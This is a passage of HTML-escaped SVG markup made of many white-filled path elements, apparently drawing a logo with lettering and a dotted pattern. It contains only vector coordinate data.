                &lt;path d=&quot;M58.6025 6.82422H60.8678L63.6233 14.5702L66.339 6.82422H68.5646L64.8818 16.8422H62.3118L58.6025 6.82422Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M69.5059 9.14884C69.8901 8.39151 70.4862 7.76705 71.2281 7.35517C71.9964 6.91672 72.8708 6.70413 73.7583 6.71742C74.6459 6.70413 75.5202 6.90343 76.3018 7.30202C77.0304 7.68733 77.6266 8.25865 78.0372 8.96283C78.4744 9.73344 78.6996 10.5971 78.6863 11.4873C78.6863 11.753 78.6599 12.0187 78.6334 12.2844H71.1089V12.404C71.1618 13.2809 71.44 13.9718 71.9302 14.4767C72.4203 14.9816 73.0827 15.234 73.904 15.234C74.4869 15.2606 75.0566 15.0879 75.5467 14.769C75.9971 14.4634 76.3018 13.9984 76.421 13.4669H78.5274C78.3684 14.4501 77.8385 15.3536 77.0569 15.9781C76.2621 16.6291 75.2553 16.9613 74.063 16.9613C73.1225 16.9878 72.1819 16.762 71.3473 16.3235C70.5922 15.9116 69.9696 15.2872 69.5589 14.5298C69.1217 13.7061 68.9098 12.776 68.923 11.846C68.8701 10.9159 69.082 9.98588 69.5059 9.14884ZM76.5403 10.7432C76.4873 10.0789 76.1693 9.46771 75.6792 9.02926C75.1625 8.60409 74.5002 8.39151 73.8378 8.41808C73.1887 8.4048 72.5528 8.63067 72.0494 9.05583C71.546 9.481 71.2413 10.0922 71.1883 10.7432H76.5403Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M88.118 7.32976C88.8334 7.74164 89.4162 8.35282 89.8004 9.09686C90.2243 9.94719 90.423 10.8905 90.4098 11.8339C90.423 12.7639 90.2243 13.6807 89.8004 14.5044C89.4162 15.2485 88.8466 15.8862 88.118 16.3114C87.3761 16.7498 86.5416 16.9757 85.6805 16.9624C85.0181 16.9757 84.3557 16.8296 83.7464 16.5373C83.2165 16.2715 82.7661 15.8729 82.4216 15.3946L82.1699 16.8429H80.3418V3.14453H82.4481V8.31296C83.243 7.25004 84.316 6.7053 85.6805 6.7053C86.5416 6.69201 87.3761 6.90459 88.118 7.32976ZM87.4556 14.252C87.9988 13.6275 88.2637 12.8303 88.2637 11.8339C88.2637 10.8507 87.9988 10.0535 87.4556 9.4423C86.3826 8.2731 84.5545 8.19338 83.3887 9.28287C83.3357 9.33601 83.2827 9.38916 83.2297 9.4423C82.6998 10.0535 82.4349 10.8507 82.4349 11.8339C82.4349 12.8303 82.6998 13.6275 83.2297 14.2653C83.7464 14.8897 84.528 15.2352 85.3361 15.2086C86.1441 15.2086 86.9257 14.8632 87.4556 14.252Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M94.1592 16.3231C93.4041 15.9112 92.7683 15.2867 92.3708 14.5294C91.9337 13.7057 91.7217 12.7756 91.735 11.8323C91.7217 10.9022 91.9337 9.98546 92.3708 9.1617C92.7815 8.39109 93.4041 7.76662 94.1592 7.35475C95.8284 6.49113 97.8155 6.49113 99.4847 7.35475C100.24 7.76662 100.862 8.40437 101.273 9.1617C101.71 9.98546 101.922 10.9022 101.909 11.8323C101.922 12.7623 101.71 13.6924 101.273 14.5294C100.862 15.2867 100.24 15.9112 99.4847 16.3231C97.8155 17.1734 95.8284 17.1734 94.1592 16.3231ZM98.9548 14.2371C99.4979 13.6127 99.7629 12.8155 99.7629 11.8456C99.7629 10.8757 99.4979 10.0652 98.9548 9.454C97.8552 8.27151 96.0139 8.20508 94.8348 9.30785C94.7818 9.361 94.7421 9.40086 94.6891 9.454C94.1592 10.0785 93.8943 10.8757 93.8943 11.8456C93.8943 12.8288 94.1592 13.6259 94.6891 14.2371C95.7887 15.4196 97.63 15.486 98.809 14.3833C98.862 14.3301 98.915 14.277 98.9548 14.2371Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M105.684 3.14453H103.578V16.8429H105.684V3.14453Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M108.744 8.68502H107.009V6.82492H108.744V4.02148H110.877V6.82492H113.275V8.68502H110.877V13.9066C110.877 14.2919 110.957 14.5709 111.115 14.7436C111.274 14.9031 111.539 14.9828 111.91 14.9828H113.5V16.8429H111.473C110.519 16.8429 109.83 16.617 109.393 16.1786C108.956 15.7401 108.744 15.0492 108.744 14.1192V8.68502Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47474 1.2297C8.48798 1.2297 8.48798 1.21641 8.48798 1.21641L8.47474 1.20313C8.47474 1.20313 8.44824 1.20312 8.44824 1.21641C8.44824 1.2297 8.46149 1.2297 8.47474 1.2297Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09052 2.05433C6.11702 2.05433 6.13027 2.04104 6.13027 2.01447C6.13027 1.9879 6.11702 1.97461 6.09052 1.97461C6.06403 1.97461 6.05078 1.9879 6.05078 2.01447C6.05078 2.04104 6.06403 2.05433 6.09052 2.05433Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88524 2.08013C6.92498 2.08013 6.95148 2.05356 6.95148 2.0137C6.95148 1.97384 6.92498 1.94727 6.88524 1.94727C6.8455 1.94727 6.819 1.97384 6.819 2.0137C6.80576 2.05356 6.8455 2.08013 6.88524 2.08013Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67965 2.10788C7.73263 2.10788 7.77238 2.06803 7.77238 2.01488C7.77238 1.96173 7.73263 1.92188 7.67965 1.92188C7.62666 1.92188 7.58691 1.96173 7.58691 2.01488C7.58691 2.06803 7.62666 2.10788 7.67965 2.10788Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47512 2.12079C8.52811 2.12079 8.5811 2.08093 8.5811 2.0145C8.5811 1.94806 8.54136 1.9082 8.47512 1.9082C8.42213 1.9082 8.36914 1.94806 8.36914 2.0145C8.36914 2.06764 8.40888 2.12079 8.47512 2.12079Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50068 2.8512C4.51393 2.8512 4.54042 2.83792 4.54042 2.81134C4.54042 2.78477 4.52717 2.77148 4.50068 2.77148C4.47418 2.77148 4.46094 2.78477 4.46094 2.81134C4.46094 2.82463 4.47418 2.8512 4.50068 2.8512Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2953 2.89186C5.33505 2.89186 5.37479 2.852 5.37479 2.81214C5.37479 2.77228 5.33505 2.73242 5.2953 2.73242C5.25556 2.73242 5.21582 2.77228 5.21582 2.81214C5.21582 2.852 5.24231 2.89186 5.2953 2.89186Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.08993 2.93056C6.15617 2.93056 6.20916 2.87742 6.20916 2.81098C6.20916 2.74455 6.15617 2.69141 6.08993 2.69141C6.02369 2.69141 5.9707 2.74455 5.9707 2.81098C5.9707 2.87742 6.02369 2.93056 6.08993 2.93056Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88553 2.97122C6.96501 2.97122 7.0445 2.90479 7.0445 2.81178C7.0445 2.73206 6.97826 2.65234 6.88553 2.65234C6.80605 2.65234 6.72656 2.71878 6.72656 2.81178C6.72656 2.8915 6.7928 2.97122 6.88553 2.97122Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.6796 2.99741C7.77233 2.99741 7.85182 2.91769 7.85182 2.8114C7.85182 2.71839 7.77234 2.63867 7.66636 2.63867C7.57363 2.63867 7.49414 2.71839 7.49414 2.82468C7.49414 2.9044 7.57362 2.99741 7.6796 2.99741Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47508 3.01187C8.58106 3.01187 8.67379 2.91887 8.67379 2.81258C8.67379 2.70629 8.58106 2.61328 8.47508 2.61328C8.3691 2.61328 8.27637 2.70629 8.27637 2.81258C8.27637 2.91887 8.3691 3.01187 8.47508 3.01187Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.69264 3.66293C3.71913 3.66293 3.74563 3.63636 3.74563 3.60979C3.74563 3.58321 3.71913 3.55664 3.69264 3.55664C3.66614 3.55664 3.63965 3.58321 3.63965 3.60979C3.6529 3.63636 3.66614 3.66293 3.69264 3.66293Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50051 3.71454C4.5535 3.71454 4.60649 3.66139 4.60649 3.60825C4.60649 3.5551 4.5535 3.50195 4.50051 3.50195C4.44752 3.50195 4.39453 3.5551 4.39453 3.60825C4.39453 3.66139 4.43427 3.71454 4.50051 3.71454Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29569 3.76809C5.38842 3.76809 5.45466 3.70166 5.45466 3.60866C5.45466 3.51565 5.38842 3.44922 5.29569 3.44922C5.20296 3.44922 5.13672 3.51565 5.13672 3.60866C5.13672 3.70166 5.20296 3.76809 5.29569 3.76809Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.0906 3.80875C6.19658 3.80875 6.28931 3.71574 6.28931 3.60945C6.28931 3.50316 6.19658 3.41016 6.0906 3.41016C5.98462 3.41016 5.89189 3.50316 5.89189 3.60945C5.87864 3.71574 5.97137 3.80875 6.0906 3.80875Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88494 3.84745C7.01741 3.84745 7.12339 3.74116 7.12339 3.6083C7.12339 3.47543 7.01741 3.36914 6.88494 3.36914C6.75246 3.36914 6.64648 3.47543 6.64648 3.6083C6.64648 3.74116 6.75246 3.84745 6.88494 3.84745Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67999 3.87521C7.82571 3.87521 7.94493 3.75563 7.94493 3.60948C7.94493 3.46333 7.82571 3.34375 7.67999 3.34375C7.53427 3.34375 7.41504 3.46333 7.41504 3.60948C7.41504 3.75563 7.53427 3.87521 7.67999 3.87521Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.4754 3.88811C8.63437 3.88811 8.75359 3.75524 8.75359 3.60909C8.75359 3.46294 8.62112 3.33008 8.4754 3.33008C8.32968 3.33008 8.1972 3.46294 8.1972 3.60909C8.18396 3.76853 8.31643 3.88811 8.4754 3.88811Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91139 4.45981C2.93788 4.45981 2.96438 4.43323 2.96438 4.40666C2.96438 4.38009 2.93788 4.35352 2.91139 4.35352C2.88489 4.35352 2.8584 4.38009 2.8584 4.40666C2.8584 4.43323 2.87164 4.45981 2.91139 4.45981Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70614 4.52627C3.77238 4.52627 3.82537 4.47312 3.82537 4.40669C3.82537 4.34026 3.77238 4.28711 3.70614 4.28711C3.6399 4.28711 3.58691 4.34026 3.58691 4.40669C3.58691 4.47312 3.6399 4.52627 3.70614 4.52627Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50081 4.57787C4.59354 4.57787 4.67302 4.49815 4.67302 4.40515C4.67302 4.31214 4.59354 4.23242 4.50081 4.23242C4.40808 4.23242 4.32859 4.31214 4.32859 4.40515C4.31535 4.49815 4.39483 4.57787 4.50081 4.57787Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29509 4.64433C5.42757 4.64433 5.53355 4.53804 5.53355 4.40517C5.53355 4.27231 5.42757 4.16602 5.29509 4.16602C5.16262 4.16602 5.05664 4.27231 5.05664 4.40517C5.05664 4.53804 5.16262 4.64433 5.29509 4.64433Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09063 4.68498C6.2496 4.68498 6.36883 4.55212 6.36883 4.40597C6.36883 4.25982 6.23635 4.12695 6.09063 4.12695C5.93166 4.12695 5.81244 4.25982 5.81244 4.40597C5.79919 4.56541 5.93166 4.68498 6.09063 4.68498Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88532 4.72564C7.05753 4.72564 7.20326 4.57949 7.20326 4.40677C7.20326 4.23404 7.05753 4.08789 6.88532 4.08789C6.7131 4.08789 6.56738 4.23404 6.56738 4.40677C6.56738 4.57949 6.69986 4.72564 6.88532 4.72564Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67994 4.76434C7.87865 4.76434 8.03762 4.60491 8.03762 4.40561C8.03762 4.20631 7.87865 4.04688 7.67994 4.04688C7.48123 4.04688 7.32227 4.20631 7.32227 4.40561C7.32227 4.60491 7.48123 4.76434 7.67994 4.76434Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11591 5.24378C2.12916 5.24378 2.15566 5.2305 2.15566 5.20392C2.15566 5.19064 2.14241 5.16406 2.11591 5.16406C2.10267 5.16406 2.07617 5.17735 2.07617 5.20392C2.07617 5.21721 2.08942 5.24378 2.11591 5.24378Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91067 5.31024C2.96366 5.31024 3.01665 5.25709 3.01665 5.20395C3.01665 5.1508 2.96366 5.09766 2.91067 5.09766C2.85768 5.09766 2.80469 5.1508 2.80469 5.20395C2.80469 5.25709 2.84443 5.31024 2.91067 5.31024Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70589 5.3767C3.79862 5.3767 3.8781 5.29698 3.8781 5.20397C3.8781 5.11097 3.79862 5.03125 3.70589 5.03125C3.61315 5.03125 3.53367 5.11097 3.53367 5.20397C3.52042 5.29698 3.59991 5.3767 3.70589 5.3767Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50118 5.44316C4.63365 5.44316 4.73963 5.33686 4.73963 5.204C4.73963 5.07114 4.63365 4.96484 4.50118 4.96484C4.36871 4.96484 4.26273 5.07114 4.26273 5.204C4.24948 5.33686 4.36871 5.44316 4.50118 5.44316Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2959 5.50961C5.46812 5.50961 5.60059 5.37675 5.60059 5.20403C5.60059 5.0313 5.46812 4.89844 5.2959 4.89844C5.12368 4.89844 4.99121 5.0313 4.99121 5.20403C4.99121 5.37675 5.12368 5.50961 5.2959 5.50961Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.0901 5.56122C6.28881 5.56122 6.44778 5.40178 6.44778 5.20248C6.44778 5.00319 6.28881 4.84375 6.0901 4.84375C5.89139 4.84375 5.73242 5.00319 5.73242 5.20248C5.73242 5.40178 5.89139 5.56122 6.0901 5.56122Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11623 6.07936C2.15597 6.07936 2.19572 6.0395 2.19572 5.99964C2.19572 5.95978 2.15597 5.91992 2.11623 5.91992C2.07649 5.91992 2.03675 5.95978 2.03675 5.99964C2.0235 6.0395 2.06324 6.07936 2.11623 6.07936Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91092 6.16067C3.00365 6.16067 3.06989 6.09424 3.06989 6.00123C3.06989 5.90823 3.00365 5.8418 2.91092 5.8418C2.81819 5.8418 2.75195 5.90823 2.75195 6.00123C2.75195 6.09424 2.81819 6.16067 2.91092 6.16067Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.7061 6.23962C3.82532 6.23962 3.91806 6.14661 3.91806 6.02704C3.91806 5.90746 3.82532 5.81445 3.7061 5.81445C3.58687 5.81445 3.49414 5.90746 3.49414 6.02704C3.49414 6.13333 3.58687 6.23962 3.7061 6.23962Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50098 6.30649C4.67319 6.30649 4.80567 6.17362 4.80567 6.0009C4.80567 5.82818 4.67319 5.69531 4.50098 5.69531C4.32876 5.69531 4.19629 5.82818 4.19629 6.0009C4.19629 6.17362 4.32876 6.30649 4.50098 6.30649Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32099 6.83753C1.34749 6.83753 1.36073 6.82425 1.36073 6.79767C1.36073 6.7711 1.34749 6.75781 1.32099 6.75781C1.2945 6.75781 1.28125 6.7711 1.28125 6.79767C1.28125 6.82425 1.2945 6.83753 1.32099 6.83753Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1163 6.91689C2.18253 6.91689 2.23552 6.86374 2.23552 6.79731C2.23552 6.73088 2.18253 6.67773 2.1163 6.67773C2.05006 6.67773 1.99707 6.73088 1.99707 6.79731C1.99707 6.86374 2.05006 6.91689 2.1163 6.91689Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91091 6.99625C3.01689 6.99625 3.10962 6.90324 3.10962 6.79695C3.10962 6.69066 3.01689 6.59766 2.91091 6.59766C2.80493 6.59766 2.7122 6.69066 2.7122 6.79695C2.69895 6.90324 2.79168 6.99625 2.91091 6.99625Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70593 7.07561C3.8649 7.07561 3.98412 6.94274 3.98412 6.79659C3.98412 6.63716 3.85165 6.51758 3.70593 6.51758C3.54696 6.51758 3.42773 6.65044 3.42773 6.79659C3.42773 6.94274 3.54696 7.07561 3.70593 7.07561Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50026 7.15692C4.69897 7.15692 4.85794 6.99748 4.85794 6.79819C4.85794 6.59889 4.69897 6.43945 4.50026 6.43945C4.30155 6.43945 4.14258 6.59889 4.14258 6.79819C4.14258 6.99748 4.30155 7.15692 4.50026 7.15692Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32112 7.66216C1.36086 7.66216 1.38736 7.63559 1.38736 7.59573C1.38736 7.55587 1.36086 7.5293 1.32112 7.5293C1.28138 7.5293 1.25488 7.55587 1.25488 7.59573C1.25488 7.63559 1.28138 7.66216 1.32112 7.66216Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.116 7.75442C2.19548 7.75442 2.27497 7.68799 2.27497 7.59498C2.27497 7.51527 2.20873 7.43555 2.116 7.43555C2.03652 7.43555 1.95703 7.50198 1.95703 7.59498C1.95703 7.6747 2.02327 7.75442 2.116 7.75442Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.9113 7.83378C3.04378 7.83378 3.14976 7.72749 3.14976 7.59463C3.14976 7.46176 3.04378 7.35547 2.9113 7.35547C2.77883 7.35547 2.67285 7.46176 2.67285 7.59463C2.67285 7.72749 2.77883 7.83378 2.9113 7.83378Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.9113 12.1387C2.77883 12.1387 2.67285 12.245 2.67285 12.3778C2.67285 12.5107 2.77883 12.617 2.9113 12.617C3.04378 12.617 3.14976 12.5107 3.14976 12.3778C3.14976 12.245 3.04378 12.1387 2.9113 12.1387Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70549 7.91314C3.89095 7.91314 4.02343 7.76699 4.02343 7.59426C4.02343 7.42154 3.87771 7.27539 3.70549 7.27539C3.53328 7.27539 3.38756 7.42154 3.38756 7.59426C3.37431 7.76699 3.52003 7.91314 3.70549 7.91314Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11613 8.56381C2.20886 8.56381 2.28834 8.48409 2.28834 8.3778C2.28834 8.2848 2.20886 8.20508 2.10288 8.20508C2.01015 8.20508 1.93066 8.2848 1.93066 8.39109C1.93066 8.48409 2.01015 8.56381 2.11613 8.56381Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91143 8.65841C3.05715 8.65841 3.17638 8.53883 3.17638 8.39268C3.17638 8.24653 3.05715 8.12695 2.91143 8.12695C2.76571 8.12695 2.64648 8.24653 2.64648 8.39268C2.64648 8.53883 2.76571 8.65841 2.91143 8.65841Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70631 8.75067C3.90502 8.75067 4.06399 8.59123 4.06399 8.39194C4.06399 8.19264 3.90502 8.0332 3.70631 8.0332C3.5076 8.0332 3.34863 8.19264 3.34863 8.39194C3.34863 8.59123 3.5076 8.75067 3.70631 8.75067Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526494 9.21607C0.539742 9.21607 0.539742 9.20279 0.539742 9.20279C0.539742 9.1895 0.526494 9.1895 0.526494 9.1895C0.526494 9.1895 0.5 9.17621 0.5 9.1895C0.5 9.20279 0.513247 9.21607 0.526494 9.21607Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 9.29462C1.37479 9.29462 1.42778 9.25476 1.42778 9.18832C1.42778 9.13518 1.38804 9.08203 1.3218 9.08203C1.25556 9.08203 1.21582 9.12189 1.21582 9.18832C1.21582 9.24147 1.25556 9.29462 1.3218 9.29462Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 9.38883C2.22168 9.38883 2.31441 9.29582 2.31441 9.18953C2.31441 9.08324 2.22168 8.99023 2.1157 8.99023C2.00972 8.99023 1.91699 9.08324 1.91699 9.18953C1.91699 9.29582 2.00972 9.38883 2.1157 9.38883Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91095 9.46819C3.06991 9.46819 3.18914 9.33532 3.18914 9.18917C3.18914 9.04302 3.05667 8.91016 2.91095 8.91016C2.75198 8.91016 2.63275 9.04302 2.63275 9.18917C2.6195 9.34861 2.75198 9.46819 2.91095 9.46819Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526494 9.95898C0.513247 9.95898 0.5 9.97227 0.5 9.98556C0.5 9.99884 0.513247 10.0121 0.526494 10.0121C0.539742 10.0121 0.55299 9.99884 0.55299 9.98556C0.539742 9.97227 0.539742 9.95898 0.526494 9.95898Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 9.88086C1.25556 9.88086 1.21582 9.93401 1.21582 9.98715C1.21582 10.0536 1.26881 10.0934 1.3218 10.0934C1.37479 10.0934 1.42778 10.0403 1.42778 9.98715C1.42778 9.93401 1.37479 9.88086 1.3218 9.88086Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 9.78711C2.00972 9.78711 1.91699 9.88011 1.91699 9.98641C1.91699 10.0927 2.00972 10.1857 2.1157 10.1857C2.22168 10.1857 2.31441 10.0927 2.31441 9.98641C2.31441 9.88011 2.22168 9.78711 2.1157 9.78711Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91058 9.69336C2.75161 9.69336 2.61914 9.82622 2.61914 9.98566C2.61914 10.1451 2.75161 10.278 2.91058 10.278C3.06955 10.278 3.20202 10.1451 3.20202 9.98566C3.20202 9.82622 3.06955 9.69336 2.91058 9.69336Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M0.526919 10.7695C0.513672 10.7695 0.513672 10.7828 0.513672 10.7828L0.526919 10.7961L0.540167 10.7828C0.540167 10.7695 0.526919 10.7695 0.526919 10.7695Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.3218 10.6777C1.26881 10.6777 1.21582 10.7176 1.21582 10.784C1.21582 10.8372 1.25556 10.8903 1.3218 10.8903C1.37479 10.8903 1.42778 10.8505 1.42778 10.784C1.42778 10.7176 1.37479 10.6777 1.3218 10.6777Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1157 10.584C2.00972 10.584 1.91699 10.677 1.91699 10.7833C1.91699 10.8896 2.00972 10.9826 2.1157 10.9826C2.22168 10.9826 2.31441 10.8896 2.31441 10.7833C2.30117 10.677 2.22168 10.584 2.1157 10.584Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91101 10.5039C2.75204 10.5039 2.63281 10.6368 2.63281 10.7829C2.63281 10.9424 2.76529 11.0619 2.91101 11.0619C3.06998 11.0619 3.1892 10.9291 3.1892 10.7829C3.1892 10.6235 3.05673 10.5039 2.91101 10.5039Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32125 11.4883C1.26826 11.4883 1.22852 11.5281 1.22852 11.5813C1.22852 11.6344 1.26826 11.6743 1.32125 11.6743C1.37424 11.6743 1.41398 11.6344 1.41398 11.5813C1.40073 11.5281 1.36099 11.4883 1.32125 11.4883Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32125 8.48484C1.37424 8.48484 1.41398 8.44498 1.41398 8.39183C1.41398 8.33869 1.37424 8.29883 1.32125 8.29883C1.26826 8.29883 1.22852 8.33869 1.22852 8.39183C1.22852 8.44498 1.26826 8.48484 1.32125 8.48484Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91143 11.3145C2.76571 11.3145 2.64648 11.434 2.64648 11.5802C2.64648 11.7263 2.76571 11.8459 2.91143 11.8459C3.05715 11.8459 3.17638 11.7263 3.17638 11.5802C3.17638 11.434 3.05715 11.3145 2.91143 11.3145Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32112 12.3105C1.28138 12.3105 1.25488 12.3371 1.25488 12.377C1.25488 12.4168 1.28138 12.4434 1.32112 12.4434C1.36086 12.4434 1.38736 12.4168 1.38736 12.377C1.38736 12.3371 1.36086 12.3105 1.32112 12.3105Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.116 12.2188C2.02327 12.2188 1.95703 12.2852 1.95703 12.3782C1.95703 12.4712 2.02327 12.5376 2.116 12.5376C2.19548 12.5376 2.27497 12.4712 2.27497 12.3782C2.27497 12.2985 2.19548 12.2188 2.116 12.2188Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70618 12.0586C3.52072 12.0586 3.375 12.2047 3.375 12.3775C3.375 12.5635 3.52072 12.7096 3.69294 12.7096C3.8784 12.7096 4.02412 12.5635 4.02412 12.3908C4.02412 12.2047 3.8784 12.0586 3.70618 12.0586Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32099 13.1348C1.2945 13.1348 1.28125 13.1481 1.28125 13.1746C1.28125 13.2012 1.2945 13.2145 1.32099 13.2145C1.34749 13.2145 1.36073 13.2012 1.36073 13.1746C1.36073 13.1481 1.33424 13.1348 1.32099 13.1348Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1163 13.0547C2.05006 13.0547 1.99707 13.1078 1.99707 13.1743C1.99707 13.2407 2.05006 13.2938 2.1163 13.2938C2.18253 13.2938 2.23552 13.2407 2.23552 13.1743C2.23552 13.1078 2.18253 13.0547 2.1163 13.0547Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91062 12.9766C2.7914 12.9766 2.71191 13.0696 2.71191 13.1759C2.71191 13.2954 2.80465 13.3752 2.91062 13.3752C3.02985 13.3752 3.10933 13.2822 3.10933 13.1759C3.10933 13.0563 3.0166 12.9766 2.91062 12.9766Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.7055 12.8965C3.54654 12.8965 3.41406 13.0293 3.41406 13.1755C3.41406 13.3349 3.54654 13.4678 3.69226 13.4678C3.85123 13.4678 3.9837 13.3349 3.9837 13.1888C3.9837 13.0161 3.86447 12.8965 3.7055 12.8965Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11659 13.8926C2.07685 13.8926 2.03711 13.9324 2.03711 13.9723C2.03711 14.0122 2.07685 14.052 2.11659 14.052C2.15634 14.052 2.19608 14.0122 2.19608 13.9723C2.19608 13.9324 2.15634 13.8926 2.11659 13.8926Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91092 13.8125C2.81819 13.8125 2.75195 13.8789 2.75195 13.9719C2.75195 14.0649 2.81819 14.1314 2.91092 14.1314C3.00365 14.1314 3.06989 14.0649 3.06989 13.9719C3.06989 13.8789 2.99041 13.8125 2.91092 13.8125Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70623 13.7324C3.57375 13.7324 3.46777 13.8387 3.46777 13.9716C3.46777 14.1044 3.57375 14.2107 3.70623 14.2107C3.8387 14.2107 3.94468 14.1044 3.94468 13.9716C3.94468 13.8387 3.8387 13.7324 3.70623 13.7324Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50098 13.666C4.32876 13.666 4.19629 13.7989 4.19629 13.9716C4.19629 14.1443 4.32876 14.2772 4.50098 14.2772C4.67319 14.2772 4.80567 14.1443 4.80567 13.9716C4.80567 13.7989 4.67319 13.666 4.50098 13.666Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11591 14.7305C2.08942 14.7305 2.07617 14.7438 2.07617 14.7703C2.07617 14.7969 2.08942 14.8102 2.11591 14.8102C2.14241 14.8102 2.15566 14.7969 2.15566 14.7703C2.15566 14.7438 2.12916 14.7305 2.11591 14.7305Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91067 14.6641C2.84443 14.6641 2.80469 14.7172 2.80469 14.7704C2.80469 14.8235 2.85768 14.8766 2.91067 14.8766C2.9769 14.8766 3.01665 14.8235 3.01665 14.7704C3.01665 14.7172 2.96366 14.6641 2.91067 14.6641Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70597 14.584C3.59999 14.584 3.52051 14.6637 3.52051 14.77C3.52051 14.8763 3.59999 14.956 3.70597 14.956C3.81195 14.956 3.89143 14.8763 3.89143 14.77C3.87819 14.677 3.7987 14.584 3.70597 14.584Z&quot; fill=&quot;white&quot;/&gt;
